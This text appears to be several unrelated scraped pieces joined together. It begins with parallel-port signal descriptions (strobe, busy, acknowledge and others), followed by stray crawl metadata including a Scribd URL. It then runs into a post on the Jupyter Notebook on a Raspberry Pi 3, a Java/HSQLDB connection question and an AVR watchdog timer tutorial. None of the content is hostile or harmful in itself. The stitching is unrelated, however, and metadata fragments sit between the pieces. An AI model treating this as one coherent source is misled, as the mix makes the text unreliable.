FIFO Full/Empty Status Bits will reflect their true value, thus FIFO depth, among other things can be determined in this mode. Configuration In this mode, the two configuration registers, cnfgA & cnfgB become available at Mode.
Signal Descriptions: Strobe The strobe line is the heart of the parallel port, it tells the printer when to sample the information of the data lines, it is usually high and goes low when a byte of data is transmitted. The timing is critical for the data to be read correctly, all bits on the data lines must be present before the strobe line goes low, to insure data integrity when the printer samples the data lines. The time needed for each byte is about half a microsecond then the strobe line goes low for about one microsecond and then the data is usually still present for another half microsecond after the strobe goes high. So the total time needed to transmit a full byte is around two microseconds.
Data These 8 lines carry the information to be printed and also special printer codes to set the printer in different modes like italics, each line carries a bit of information to be sent, the information here travels only from the computer to the printer or other parallel device. These lines function with standard TTL voltages, 5 volts for a logical 1 and 0 volts for a logical 0. Acknowledge This line is used for positive flow control, it lets the computer know that the character was successfully received and that it's been dealt with. It's normally high and goes low when it has received the character and is ready for the next one, this signal stays low for about 8 microseconds. Busy As seen above (strobe line), each byte takes about 2 microseconds to be sent to the printer, this means the printer is receiving about 500,000 bytes per second (1 sec divided by 2 microseconds), no printer can print this fast, so they came up with a busy line. Each time the printer receives a byte this line will send this line high to tell the computer to stop sending, when the printer is done manipulating the byte (printing, putting it in the buffer or setting it's internal functions) it then goes back low, to let the computer know that it can send the next byte. Paper End Also referred to as Paper Empty, this line will go high when you run out of paper, just like the paper out light on your printer, this way the computer will know and can tell you of the problem. When this happens the busy line will also go high so the computer stops sending data. Without this line when you would run out of paper the busy line would go high and the computer would seem to be hanged. Select This line tells the computer when it is selected (or online), just like the light on your printer. When the select line is high the printer is online and is ready to receive data, when it's low the computer will not send data. Auto Feed Not all printers treat the carriage return the same way, some will just bring the print head to the beginning of the line beeping printed and some will also advance the paper one line down (or roll the paper one line up). Most printers have a DIP switch or some other way to tell your preference of how to interpret the carriage return. The auto feed signal lets your computer do the job for you, when it puts this signal low, the printer will feed one line when it gets a carriage return, by holding the signal high the software must send a line feed along with the carriage return to obtain the same effect. Error This is a general error line, there is no way of knowing the exact error from this line. When no errors are detected, this line is high, when an error is detected it goes low. Some of the errors that can arise through this line are: cover open, print head jammed, a broken belt by detecting that the head does not come back to it's home position or any other error that your printer can detect. Initialize Printer This line is used to reinitialize the printer, the computer will accomplish this by putting the line, which is normally high, to it's low state. This is very useful when starting a print job, since special formatting codes might have been sent to the printer on the last job, by reinitializing the printer you are sure of not messing up the whole thing, like printing the whole document in italics or something. Select Input Many computers give the option of letting the computer the option of putting the printer online or not, by putting this signal high the printer is kept in it's offline state and putting it low the printer is online and will accept data from the computer. Many printers have a DIP switch to let decide if the computer can control the online state, when the switch is active it will keep this line always low, thus keeping the computer from putting the printer offline. Ground This is a regular signal ground and is used as a reference for the low signal or logical 0. | https://www.scribd.com/document/67378522/Introduction-to-Parallel-Ports | CC-MAIN-2019-26 | refinedweb | 2,486 | 63.73 |
Since I’ve been kicking the tyres on .NET Core 2 to see what’s possible with the Raspberry Pi 3, I wondered if it was possible to use PInvoke on the Windows 10 IoT Core operating system – and it turns out that it is.
Let’s write a simple console application and deploy it to a Pi 3 to show PInvoke working.
As usual, you can find the finished code on my GitHub repository here.
First, install .NET Core 2
You can get the .NET Core 2 installer from here – remember that this version of .NET Core hasn’t made it to RTM status yet, so you’re playing with code at the bleeding edge. I’ve found it to be pretty stable, but I’m working on a machine which I’m happy to trash and rebuild.
Create a console app for the Raspberry Pi 3
Next, open a PowerShell prompt, and navigate to where you want to create the .NET Core 2 project.
dotnet new -i RaspberryPi.Template::*
This’ll add the template for a .NET Core 2 Console application which targets IoT devices – you can see this in your list of installed templates if you run:
dotnet new --list
You’ll see it in the list, as shown below.
So to create this kind of IoT console application, run:
dotnet new coreiot -n RaspberryPi.PInvoke
This creates a new folder and project called “RaspberryPi.PInvoke”, which presently will just write “Hello Internet of Things!” to the console.
Choose an unmanaged function to call – CharUpper
Let’s change this application to make that text – “Hello Internet of Things!” – become upper case. Inside user32.dll, there is a function called CharUpper which will do exactly that.
Obviously we could just use the “ToUpper()” string method inside managed .NET code to achieve this, but this application is a proof of concept to use PInvoke.
The C# signature for this is below:
[DllImport("user32.dll", CharSet=CharSet.Auto)] static extern char CharUpper(char character);
So we can modify our very simple program to now become like the code below:
using System; using System.Runtime.InteropServices; namespace RaspberryPiCore { class Program { [DllImport("user32.dll", CharSet=CharSet.Auto)] static extern char CharUpper(char character); static void Main(string[] args) { var textToChange = "Hello Internet of Things!"; var inputCharacterArray = textToChange.ToCharArray(); // array of chars to hold the capitalised text var outputCharacterArray = new char[inputCharacterArray.Length]; for(int i = 0; i < inputCharacterArray.Length; i++) { outputCharacterArray[i] = CharUpper(inputCharacterArray[i]); } Console.WriteLine($"Original text is {textToChange}"); Console.WriteLine($"Changed text is {new string(outputCharacterArray)}"); } } }
Let’s build this using:
dotnet build
Let’s publish it for Windows 10 IoT Core devices with an ARM processor using
dotnet publish -r win8-arm
Let’s open a Powershell prompt to our Raspberry Pi 3, create a folder to host this application.
mkdir c:\ConsoleApps\PInvoke
You can ssh to your Raspberry Pi 3 using a Powershell prompt from the Windows IoT Dashboard as shown in the image below:
And now let’s open a command prompt on our development machine, and copy the application binaries to the directory we created on our Raspberry Pi 3 earlier.
robocopy.exe /MIR ".\bin\Debug\netcoreapp2.0\win8-arm\publish" "\\<your-ipaddress-here>\c$\ConsoleApps\PInvoke"
Finally after building, publishing and deploying, we can go back to the ssh PowerShell prompt and run:
C:\ConsoleApps\PInvoke\RaspberryPi.PInvoke.exe
And this shows the text has been changed to upper case, as shown below.
Wrapping up
There’s nothing special about this code, it’s all pretty standard PInvoke code – but it’s nice to confirm that it works with .NET Core 2 on the Raspberry Pi 3’s ARM processor under Windows 10 IoT Core. | https://jeremylindsayni.wordpress.com/category/powershell/ | CC-MAIN-2017-26 | refinedweb | 622 | 56.35 |
How to calculate Gini Coefficient from raw data in Python
Friday June 21, 2013
The Gini Coefficient is a measure of inequality. It's well described on its wiki page and also with more simple examples here.
I don't find the implementation in the R package ineq particularly conversational, and also I was working on a Python project, so I wrote this function to calculate a Gini Coefficient from a list of actual values. It's just a fun little integration-as-summation. Not bad!
def gini(list_of_values): sorted_list = sorted(list_of_values) height, area = 0, 0 for value in sorted_list: height += value area += height - value / 2. fair_area = height * len(list_of_values) / 2. return (fair_area - area) / fair_area
To me this is fairly readable and maps nicely to the mental picture of adding up the area under the Lorenz curve and then comparing it to the area under the line of equality. It's just bars and triangles! And I don't think it's any less performant than the
ineq way of calculating it.
(update: lalala, I think there are some edge cases where the standard way of calculating gini and this way are not in agreement; I'll look into it if I ever think about this again - feel free to figure it out and leave a comment!)
This post was originally hosted elsewhere. | https://planspace.org/2013/06/21/how-to-calculate-gini-coefficient-from-raw-data-in-python/ | CC-MAIN-2021-04 | refinedweb | 223 | 60.45 |
You’ve seen in previous Windows Phone Mini-tutorials
that all tasks have the same basic structure:
- Instantiate the task
- Add any specifying data
- Show the task
The Bing Maps Task is no different. In fact, it is so simple to use I hesitate to dedicate a mini-tutorial to it. This will be brief.
To find a specific location using Bing Maps, all you need do is create a new Windows Phone application. Set the Page and Application title and create a new row into which you’ll place a button (all of this is optional, but it makes the program easier to work with).
Name the new button FindSiteButton and give it an event handler on its click event, as shown here:
<StackPanel x: <TextBlock x: <TextBlock x: </StackPanel> <!--ContentPanel - place additional content here--> <Grid x: <Grid.RowDefinitions> <RowDefinition Height="96*" /> <RowDefinition Height="511*" /> </Grid.RowDefinitions> <Button Name="FindSiteButton" Content="Find" HorizontalAlignment="Center" VerticalAlignment="Center" Click="FindSiteButton_Click" /> </Grid>
Since you put the event handler into the Xaml, you’ll find a stub for that method in the code behind. Switching to MainPage.xaml.cs, let’s fill in that event handler.
We do so by adding an instance of BingMapsTask (which you’ll need to add the using statement,
using Microsoft.Phone.Tasks;
Set the SearchTerm property of this task to a famous location and then, as with all tasks, call show:
private void FindSiteButton_Click( object sender, RoutedEventArgs e ) { BingMapsTask bmt = new BingMapsTask(); bmt.SearchTerm = "Statue of Liberty"; bmt.Show(); }
Now run the emulator, click the button and you will see that Bing Maps instantly displays a map with the Statue of Liberty pin-pointed.
The computer thinks these might be related:
Hi , Thanks for tutorial , is was great . i want to ask , How can i send my lat. and log. to a server and a service that store it and other client can receive it , ?
Great new feature. This definitely makes working with the mapping api much easier for simple tasks. | http://jesseliberty.com/2011/08/04/bing-maps-task/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+JesseLiberty-SilverlightGeek+%28Jesse+Liberty+-+Silverlight+Geek%29 | crawl-003 | refinedweb | 334 | 64.1 |
On Mon, 28 May 2012, Thomas Goirand <zigo@debian.org> wrote: >. As noted in that bug report you can just edit /etc/default/rcS to make it not use a tmpfs for /tmp. That is easy to fix. On Mon, 28 May 2012, Jon Dowland <jmtd@debian.org> wrote: > On Sun, May 27, 2012 at 04:25:30PM +0100, Ben Hutchings wrote: > > We should be thinking about implementing per-user temporary directories > > and making sure that programs respect $TMPDIR. (On Linux it's also > > possible to give each user a different /tmp through mount namespaces. > > I'm not sure whether that's compatible with historical use of /tmp by > > the X window system.) > > Yes! This is a good idea for other reasons, too, including some disc > encryption situations. Perhaps it's a candidate for a release goal for > wheezy+1? Some scoping work is probably required. Using a bind mount to make /tmp/.X11-unix available to the logged in user isn't going to be difficult. What is /tmp/.X0-lock used for? As for making it a release goal for wheezy+1, it can't be enabled by default because usually the users expect to be able to share files via /tmp. -- My Main Blog My Documents Blog | https://lists.debian.org/debian-devel/2012/05/msg01303.html | CC-MAIN-2018-13 | refinedweb | 210 | 76.42 |
1.6. Creating a simple kernel for Jupy architecture of Jupyter is language independent. The decoupling between the client and kernel makes it possible to write kernels in any language. The client communicates with the kernel via socket-based messaging protocols.
However, the messaging protocols are complex. Writing a new kernel from scratch is not straightforward. Fortunately, Jupyter brings a lightweight interface for kernel languages that can be wrapped in Python.
This interface can also be used to create an entirely customized experience in the Jupyter Notebook (or another client application such as the console). Normally, Python code has to be written in every code cell; however, we can write a kernel for any domain-specific language. We just have to write a Python function that accepts a code string as input (the contents of the code cell), and sends text or rich data as output. We can also easily implement code completion and code inspection.
We can imagine many interesting interactive applications that go far beyond the original use cases of Jupyter. These applications might be particularly useful to nonprogrammer end users such as high school students.
In this recipe, we will create a simple graphing calculator. The calculator is transparently backed by NumPy and matplotlib. We just have to write functions as
y = f(x) in a code cell to get a graph of these functions.
How to do it...
1. First, we create a
plotkernel.py file. This file will contain the implementation of our custom kernel. Let's import a few modules:
%%writefile plotkernel.py from ipykernel.kernelbase import Kernel import numpy as np import matplotlib.pyplot as plt from io import BytesIO import urllib, base64
Writing plotkernel.py
2. We write a function that returns a base64-encoded PNG representation of a matplotlib figure:
%%writefile plotkernel.py -a def _to_png(fig): """Return a base64-encoded PNG from a matplotlib figure.""" imgdata = BytesIO() fig.savefig(imgdata, format='png') imgdata.seek(0) return urllib.parse.quote( base64.b64encode(imgdata.getvalue()))
Appending to plotkernel.py
3. Now, we write a function that parses a code string, which has the form
y = f(x), and returns a NumPy function. Here,
f is an arbitrary Python expression that can use NumPy functions:
%%writefile plotkernel.py -a _numpy_namespace = {n: getattr(np, n) for n in dir(np)} def _parse_function(code): """Return a NumPy function from a string 'y=f(x)'.""" return lambda x: eval(code.split('=')[1].strip(), _numpy_namespace, {'x': x})
Appending to plotkernel.py
4. For our new wrapper kernel, we create a class that derives from
Kernel. There are a few metadata fields we need to provide:
%%writefile plotkernel.py -a class PlotKernel(Kernel): implementation = 'Plot' implementation_version = '1.0' language = 'python' # will be used for # syntax highlighting language_version = '3.6' language_info = {'name': 'plotter', 'mimetype': 'text/plain', 'extension': '.py'} banner = "Simple plotting"
Appending to plotkernel.py
5. In this class, we implement a
do_execute() method that takes code as input and sends responses to the client:
%%writefile plotkernel.py -a def do_execute(self, code, silent, store_history=True, user_expressions=None, allow_stdin=False): # We create the plot with matplotlib. fig, ax = plt.subplots(1, 1, figsize=(6,4), dpi=100) x = np.linspace(-5., 5., 200) functions = code.split('\n') for fun in functions: f = _parse_function(fun) y = f(x) ax.plot(x, y) ax.set_xlim(-5, 5) # We create a PNG out of this plot. png = _to_png(fig) if not silent: # We send the standard output to the # client. self.send_response( self.iopub_socket, 'stream', { 'name': 'stdout', 'data': ('Plotting {n} ' 'function(s)'). \ format(n=len(functions))}) # We prepare the response with our rich # data (the plot). content = { 'source': 'kernel', # This dictionary may contain # different MIME representations of # the output. 'data': { 'image/png': png }, # We can specify the image size # in the metadata field. 'metadata' : { 'image/png' : { 'width': 600, 'height': 400 } } } # We send the display_data message with # the contents. self.send_response(self.iopub_socket, 'display_data', content) # We return the exection results. return {'status': 'ok', 'execution_count': self.execution_count, 'payload': [], 'user_expressions': {}, }
Appending to plotkernel.py
6. Finally, we add the following lines at the end of the file:
%%writefile plotkernel.py -a if __name__ == '__main__': from ipykernel.kernelapp import IPKernelApp IPKernelApp.launch_instance( kernel_class=PlotKernel)
Appending to plotkernel.py
7. Our kernel is ready! The next step is to indicate to Jupyter that this new kernel is available. To do this, we need to create a kernel spec
kernel.json file in a subdirectory as follows:
%mkdir -p plotter/
%%writefile plotter/kernel.json { "argv": ["python", "-m", "plotkernel", "-f", "{connection_file}"], "display_name": "Plotter", "name": "Plotter", "language": "python" }
Writing plotter/kernel.json
8. We install the kernel:
!jupyter kernelspec install --user plotter
[InstallKernelSpec] Installed kernelspec plotter in ~/.local/share/jupyter/kernels/plotter
9. The Plotter kernel now appears in the list of kernels:
!jupyter kernelspec list
Available kernels: bash ~/.local/share/jupyter/kernels/bash ir ~/.local/share/jupyter/kernels/ir plotter ~/.local/share/jupyter/kernels/plotter sagemath ~/.local/share/jupyter/kernels/sagemath ...
The
plotkernel.py file needs to be importable by Python. For example, we could simply put it in the current directory.
10. Now, if we refresh the main Jupyter Notebook page (or after a restart of the Jupyter Notebook server if needed), we see that our Plotter kernel appears in the list of kernels:
11. Let's create a new notebook with the
Plotter kernel. There, we can simply write mathematical equations under the form
y=f(x). The corresponding graph appears in the output area. Here is an example:
How it works...
The kernel and client live in different processes. They communicate via messaging protocols implemented on top of network sockets. Currently, these messages are encoded in JSON, a structured, text-based document format.
Our kernel receives code from the client (the notebook, for example). The
do_execute() function is called whenever the user sends a cell's code.
The kernel can send messages back to the client with the
self.send_response() method:
- The first argument is the socket, here, the
IOPubsocket
- The second argument is the message type, here,
stream, to send back standard output or a standard error, or
display_datato send back rich data
- The third argument is the contents of the message, represented as a Python dictionary
The data can contain multiple MIME representations: text, HTML, SVG, images, and others. It is up to the client to handle these data types. In particular, the Notebook client knows how to represent all these types in the browser.
The function returns execution results in a dictionary.
In this toy example, we always return an ok status. In production code, it would be a good idea to detect errors (syntax errors in the function definitions, for example) and return an error status instead.
All messaging protocol details can be found below.
There's more...
Wrapper kernels can implement optional methods, notably for code completion and code inspection. For example, to implement code completion, we need to write the following method:
def do_complete(self, code, cursor_pos): return {'status': 'ok', 'cursor_start': ..., 'cursor_end': ..., 'matches': [...]}
This method is called whenever the user requests code completion when the cursor is at a given
cursor_pos location in the code cell. In the method's response, the
cursor_start and
cursor_end fields represent the interval that code completion should overwrite in the output. The
matches field contains the list of suggestions.
Here are a few references:
- Wrapper kernel example
- Wrapper kernels, available at
- Messging protocol in Jupyter, at
- Making kernels for Jupyter, at
- Using C++ in Jupyter, at | https://ipython-books.github.io/16-creating-a-simple-kernel-for-jupyter/ | CC-MAIN-2019-09 | refinedweb | 1,242 | 51.04 |
In this new actionscript 3 tutorial, we are going to build a smooth horizontal tweened menu. As usual we use the Tweenlite engine.
1. Create a new flash file (Actionscript 3.0) and save it as menu.fla.
2. Rename “layer 1″ to “menu”. First we are going to design our arrow shaped menu items. To do it, with the rectangle tool selected draw a rectangle on the stage with the fill color of your choice and no stroke color. To create the end part of the menu_item use the polystar tool to create a triangle that you stick to the rectangle. Now with your menu item shape built, convert it to a Movie Clip with registration point at the top left. Give it an instance name of “menu1_mc”.
3. To add the label to the menu item, double click on the movie clip you’ve just created so you can edit it.
With the Text tool, draw a static text box and type your label. And we are done with this first menu item.
4. Next create the others menu items by following the same steps. Once finished position each menu item one below the other and put all of them to the left of the stage so that only the triangle part is visible on the stage.
5. Now let’s add the actionscript. We’ll use the Tweenlite engine so first if you don’t already have it go to to download the AS3 version.
Extract the zip file and get the com directory. Place this directory at the same level of your flash file.
6. Create a new “actions” layer and with its first frame selected open the actions panel.
First to use the Tweenlite engine and its easing properites write the following statements :
import com.greensock.*; import com.greensock.easing.*;
7. Then create an array that contains each menu item’s instance name. Next loop through this array to add to each item the Mouse Event listeners (for the rollover, rollout and click events) and set their button mode to true so that a hand cursor appears when we hover them.
var menu_items:Array = [menu1_mc,menu2_mc,menu3_mc,menu4_mc]; for (var i:int = 0; i< menu_items.length; i++){ menu_items[i].addEventListener(MouseEvent.ROLL_OVER,overHandler); menu_items[i].addEventListener(MouseEvent.ROLL_OVER,outHandler); menu_items[i].addEventListener(MouseEvent.CLICK,clickHandler ); menu_items[i].buttonMode = true; }
8. The overHandler function uses the Tweenlite engine to change the x property of the menu item to 0 so that the menu item stretches out. Also we set the Tweenlite ease property to Bounce.easeOut to make it more catchy.
function overHandler(e:MouseEvent):void{ TweenLite.to(e.currentTarget,1,{x:0,ease:Bounce.easeOut}); } <em>9.</em> The outHandler function sets the menu item that triggered the rollout event back to its original position. And finally the clickHandler function simply trace which menu item was clicked. 1 function outHandler(e:MouseEvent):void{ TweenLite.to(e.currentTarget,1,{x:-168,ease:Bounce.easeOut}); } function clickHandler(e:MouseEvent ):void{ trace(e.currentTarget.name + " was clicked"); }
10. Here’s the final code, test your movie to see it in action.
import com.greensock.*; import com.greensock.easing.*; var menu_items:Array = [menu1_mc,menu2_mc,menu3_mc,menu4_mc]; for (var i:int = 0; i< menu_items.length; i++){ menu_items[i].addEventListener(MouseEvent.ROLL_OVER,overHandler); menu_items[i].addEventListener(MouseEvent.ROLL_OUT,outHandler); menu_items[i].addEventListener(MouseEvent.CLICK,clickHandler ); menu_items[i].buttonMode = true; } function overHandler(e:MouseEvent):void{ TweenLite.to(e.currentTarget,1,{x:0,ease:Bounce.easeOut}); } function outHandler(e:MouseEvent):void{ TweenLite.to(e.currentTarget,1,{x:-168,ease:Bounce.easeOut}); } function clickHandler(e:MouseEvent ):void{ // TO DO ... trace(e.currentTarget.name + " was clicked"); }
Small steps for solid Foundation
Once more you had provided a very informative Tutorials
Great tutorial. Thanks!
I’ve always wondered how to do this…
Thanks
Pingback: zestaw tutoriali dla photoshop,php,python,css,jquery,flex oraz actionscript | web-tutoriale.pl
if you want another easier type :’
stop();
import fl.transitions.*;
import fl.transitions.easing.*;
var overTween:Tween,
outTween:Tween;
var menuButtonsList:Array = [home, about, contact],
menuButtonsListLength:int = menuButtonsList.length,
menuButtonReference:SimpleButton;
for (var i:int = 0; i < menuButtonsListLength; i++)
{
menuButtonReference = menuButtonsList[i];
menuButtonReference.addEventListener(MouseEvent.ROLL_OVER, handleMenuButtonRollOver);
menuButtonReference.addEventListener(MouseEvent.ROLL_OUT, handleMenuButtonRollOut);
menuButtonReference.addEventListener(MouseEvent.CLICK, handleMenuButtonClick);
}
function handleMenuButtonRollOver(event:MouseEvent):void
{
overTween = new Tween(event.currentTarget, "x", Regular.easeOut, event.currentTarget.x, -5, .5, true);
}
function handleMenuButtonRollOut(event:MouseEvent):void
{
outTween = new Tween(event.currentTarget, "x", Regular.easeOut, event.currentTarget.x, -142, .5, true);
}
function handleMenuButtonClick(event:MouseEvent):void
{
trace ("The " + event.currentTarget.name + " button was clicked!")
gotoAndStop(event.currentTarget.name);
}
im not sure i am putting the .com folder in the right place… how do i put it at the same level at my flash file… sorry im really new to this
how to put an active link on the tabs?
loic
1120: Access of undefined property menu1_mc.
wtf? gawdämmit! I always do womething wrong… but what? pls help!
thx for tutorial!
AMARIE –
You need to place the greensock ‘com’ folder in the same folder as your .fla-file.
f you dont, the import will not work… I banged my head against the wall when the .fla didnt import the com folder, and after some reboots of the flash program, and some reboots of the computer, it worked suddenly.
Quite strange why Flash didnt find the com-folder :S but it semes like many people got problem with this.
But now i’m stuck with the buttons… I cant make more than one work, i use gotoAndPlay, but thats maby wrong? Can anybody help me? Pleace?
Greetings from Sweden, and thanks allot for the tutorials!
Can any body please healp me with the buttuns?
i cant figure out how to assign different buttons,
Ive tride gotoAndPlay but then every button goes to the same frame…
How do i do so eatch buttons is assigned to different frames?
Healp me please:)
ps i like this site VERY much!
Gs from Swe
Can pleace somebody healp? I Would like to learn
Anyone?
I just want my menu to work on my flashpage…
Just trace different frames, like 10, 15 and 20, instead of trace a text that says “event.currentTarget.name + ” button was clicked!”)”
I know that this may be a simple question for you guys, but i’m banging my head against the wall.
Someone?
good and smooth animation…
nice one
WOuld also like to know how to link to buttons.
Sorry, my post above is me being inpatient;
function clickHandler(e:MouseEvent ):void
{
menu1_mc.addEventListener(MouseEvent.CLICK, function (myEVT) {gotoAndPlay(2); });
menu2_mc.addEventListener(MouseEvent.CLICK, function (myEVT) {gotoAndPlay(11); });
menu3_mc.addEventListener(MouseEvent.CLICK, function (myEVT) {gotoAndPlay(21); });
menu4_mc.addEventListener(MouseEvent.CLICK, function (myEVT) {gotoAndPlay(31); });
}
Thats it POCOLOCO
Hi,
Just wondrfullll!!!!!!
SD……..
Comment faire pour insérer des liens sur les boutons svp?
the most common mistake is people don’t instance names on buttons make sure you do!!! put
Give it an instance name of “menu1_mc”.
menu2_mc
menu3_mc
and so on
thanks
Great tutorial, but I have a problem.
I’m trying to link the buttons to various scenes, which I have managed to do, but I wanted to also have the menu at the side be constant. However, when I try and copy and past the menu and the actions layer, and paste them in my other scenes, the menu doesn’t work.
Can anyone help me out?
Thanks in advance
Does anyone know how to edit this code so that the menu’s come out from the right hand side of the stage?
never mind i figured it out. | http://www.riacodes.com/flash/smooth-horizontal-menu-with-as3/ | CC-MAIN-2016-40 | refinedweb | 1,265 | 59.3 |
From: Jarrad Waterloo (jwaterloo_at_[hidden])
Date: 2007-05-31 10:10:20
Sorry, this is a late review question. Has Microsoft GUID algorithm been
published in any way? If it has, could we get an implementation of it?
Typically when working on databases, one would not want to mix generated
guids from different algorithms as that would compromise its uniqueness and
thus increase collisions. So, if I was working on a Microsoft SQL Server, I
would like to and may have to if an existing app with existing data, use the
Microsoft GUID algorithm!
-----Original Message-----
From: boost-bounces_at_[hidden] [mailto:boost-bounces_at_[hidden]]
On Behalf Of Andy
Sent: Wednesday, May 30, 2007 10:01 AM
To: boost_at_[hidden]
Subject: Re: [boost] [guid] - review results?
"Christian Henning" <chhenning_at_[hidden]> wrote in
news:949801310705291442q6067e19dsb0bd26722561b71f_at_[hidden]:
> I like the way you circumvent the license problem. Rewriting. Cool
Thanks :)
>
> One question. One person reported that the uuid lib was quite slow in
> comparison to C# for instance. Could you resolve that, too?
I did optimize the random-based create function. It, of course, does
depend on the random number generator used.
The uuid::create(engine) (using mt19937) is now a little faster then
.NET's. For 10,000,000 calls to uuid::create(engine), I get 3.937s, and
for .NET's Guid::NewGuid(), I get 4.375s.
The name-based uuid::create function has not been optimized.
Here are the tests I used:
#include "stdafx.h"
#using <mscorlib.dll>
using namespace System;
int _tmain()
{
const int N = 10000000;
DateTime t0 = DateTime::Now;
for (int i = 0; i < N; i++) {
Guid::NewGuid();
}
TimeSpan ts = DateTime::Now - t0;
Console::WriteLine(ts.ToString());
return 0;
}
and:
#include <boost\progress.hpp>
#include <boost\uuid.hpp>
#include <iostream>
#include <boost/random.hpp>
int main(int argc, char* argv[])
{
using namespace boost;
const int N = 10000000;
mt19937 engine;
timer t1;
for (int i=0; i<N; ++i) {
uuid::create(engine);
}
std::cout << t1.elapsed() << '\n';
return 0;
}
>
> Thanks for your great work,
> Christian
< snip >
Andy.
_______________________________________________
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Boost list run by bdawes at acm.org, gregod at cs.rpi.edu, cpdaniel at pacbell.net, john at johnmaddock.co.uk | https://lists.boost.org/Archives/boost/2007/05/122569.php | CC-MAIN-2020-10 | refinedweb | 363 | 60.72 |
Ok this problem has confused me, i will outline what the program does first before i tell you the issue i am having.
I have set up HSQLDB i have created a program which reads from my database.properties file and connects to the database.
I then use this connection to perform some SQL commands such as add, remove and update entries from a simple console menu. If i enter my connection details manually so the url, username, password and driver it connects fine. When doing it manually i have username and password both as "", so the value is null. It all works fine then, my menu works, i can add, delete, update and display my table. If however, i try and connect by directing my program to the details in my database.properties file which also has a blank username and password field i cannot connect, i get this error message.
Exception in thread "main" java.sql.SQLInvalidAuthorizationSpecException: invalid authorization specification - not found: SA
I wanted to see what values were being used to connect so i put a println in to display the username and password when entering my details manually and also from reading from the file.
So when i attempt to establish a connection it shows me this line first. They both display username=null and password= null but if i link to the database.properties file i get the error message mentioned above . . . .It doesn't make sense to me as if a password/username were required, why can i connect by manually setting these to "" in my connection program?
Below is the connection program, you can see in the getConnection method i have the username and password field set to "". To use the values read from the file i use username and password instead.
Code :
import java.sql.Connection; import java.sql.DriverManager; import java.sql.SQLException; import java.io.FileInputStream; import java.io.IOException; import java.util.Properties; public class SimpleDataSource { private static String url; private static String username; private static String password; private static String driver; public static void init(String database) throws IOException, ClassNotFoundException { Properties props = new Properties(); FileInputStream in = new FileInputStream(database); props.load(in); driver = props.getProperty("jbdc.driver"); url = props.getProperty("jbdc.url"); username = props.getProperty("jbdc.username"); if(username == null) { username = ""; } password = props.getProperty("jbdc.password"); if(password == null) { password = ""; }; } public static Connection getConnection() throws SQLException { System.out.println("Username:" + username + "Password:" + password); return DriverManager.getConnection("jdbc:hsqldb:file:myHSQLDB", "", ""); } }
Problem is now solved, i failed to call the init method. | http://www.javaprogrammingforums.com/%20jdbc-databases/18354-database-authorisation-problems-printingthethread.html | CC-MAIN-2016-22 | refinedweb | 424 | 50.63 |
Pandas: Create a time series with the last working days of each month
Pandas Time Series: Exercise-15 with Solution
Write a Pandas program to get a time series with the last working days of each month of a specific year.
Sample Solution:
Python Code :
import pandas as pd s = pd.date_range('2021-01-01', periods=12, freq='BM') df = pd.DataFrame(s, columns=['Date']) print('last working days of each month of a specific year:') print(df)
Sample Output:
last working days of each month of a specific year: Date 0 2021-01-29 1 2021-02-26 2 2021-03-31 3 2021-04-30 4 2021-05-31 5 2021-06-30 6 2021-07-30 7 2021-08-31 8 2021-09-30 9 2021-10-29 10 2021-11-30 11 2021-12-31
Python Code Editor:
Have another way to solve this solution? Contribute your code (and comments) through Disqus.
Previous: Write a Pandas program to check if a day is a business day (weekday) or not.
Next: Write a Pandas program to create a time series combining hour and minute. | https://www.w3resource.com/python-exercises/pandas/time-series/pandas-time-series-exercise-15.php | CC-MAIN-2021-21 | refinedweb | 187 | 66.47 |
All AVR microcontrollers have internal watchdog timer that can be successfully used in your projects. Atmega328 and other modern AVR microcontrollers have so-called Enhanced Watchdog Timer (WDT). It has few very useful features including: separate 128kHz clock source, ability to reset microcontroller and generate interrupt.
From hardware perspective watchdog timer is nothing more than simple counter that gives a pulse when it counts up. This pulse can be used either to generate interrupt or simply reset MCU (or do both). Watchdog timer can be reset to zero at any time with simple WDR command, and this is where fun begins. If you enabled watchdog timer, you have to take care and reset it before it fills up and resets MCU. Otherwise if your program hangs or sticks in some infinite loop without reset watchdog simply counts up and resets system. In this case we get pretty good program guardian who keeps an eye on program flow. In other special cases watchdog can serve as simple software-based MCU reset source.
Watchdog clock and prescaller
The watchdog timer is clocked with a separate 128kHz oscillator. It is a low power oscillator which isn’t accurate enough for precise timing operations. Upon individual MCU fuse settings this clock also can serve as the system clock, then watchdog becomes synchronous with the main clock. But this is a particular case we won’t consider. For better flexibility, the watchdog timer has a clock prescaller system, similar to other timers. Depending on WDP[3..0] settings in WDTCSR register watchdog can be set to timeout from 16ms up to 8s.
Watchdog Interrupt mode
The watchdog timer interrupt is a valuable source of an interrupt as it depends on a separate clock source. So it can be used to wake up MCU from sleep. You can construct a very efficient battery driven system which, for instance, needs to do some task every 8s and then get back to sleep. Or simply WDT interrupts can stop routines that take too long to execute. I bet, you can see more of uses here…
And there is a particular case where watchdog can generate both: interrupt and system reset. By using this feature, you may have the ability to preserve valuable parameters before the reset.
Programming AVR watchdog timer
There are two ways to set up watchdog timer: by programming WDTON fuse when flashing MCU and another is during program flow. If WDTON fuse is programmed, it cannot be disabled in software, and it only works in system reset mode (no interrupt available). This might be used to ensure system security. The only thing we can change here is a prescaller.
Software watchdog programming gives more flexibility and functionality. As we mentioned, you can use reset and interrupt modes. To start watchdog timer or change its prescaller, some programming sequence is needed. This helps to ensure secure program flow. These are:
- Disable interrupts;
- Reset watchdog timer with WDR command;
- Write logic one to WDCE and WDE bits of WDTCSR simultaneously;
- Then withing four cycles write logic one to enable (or zero to disable) watch dog timer, or change prescaller.
There are couple code examples in AVR datasheet how you can do straight forward. But there is better alternative in AVRGCC avrlibc. There is a special library wdt.h prepared to manipulate watchdog timer. In this case we can call any of three functions that will take care of proper execution sequence:
#define wdt_reset(); //resets watchdog timer #define wdt_disable(); //disables watchdog timer #define wdt_enable(timeout); //sets a watchdog prescaller
Depending on selected microcontroller prescallers may be set to one of following values:
Lets write a simple program that will use watchdog timer in interrupt and reset modes simultaneously. To do this we simply run program without resetting watchdog timer. In main routine we will blink LED with at approximately 0.5Hz and when watchdog interrupt occurs it will give a burst of five 0.1Hz signals. After reset LED will light for a half of second. These will give us a clue of ongoing processes. Keep in mind that after watchdog interrupt counter has to count up once more for a reset occur.
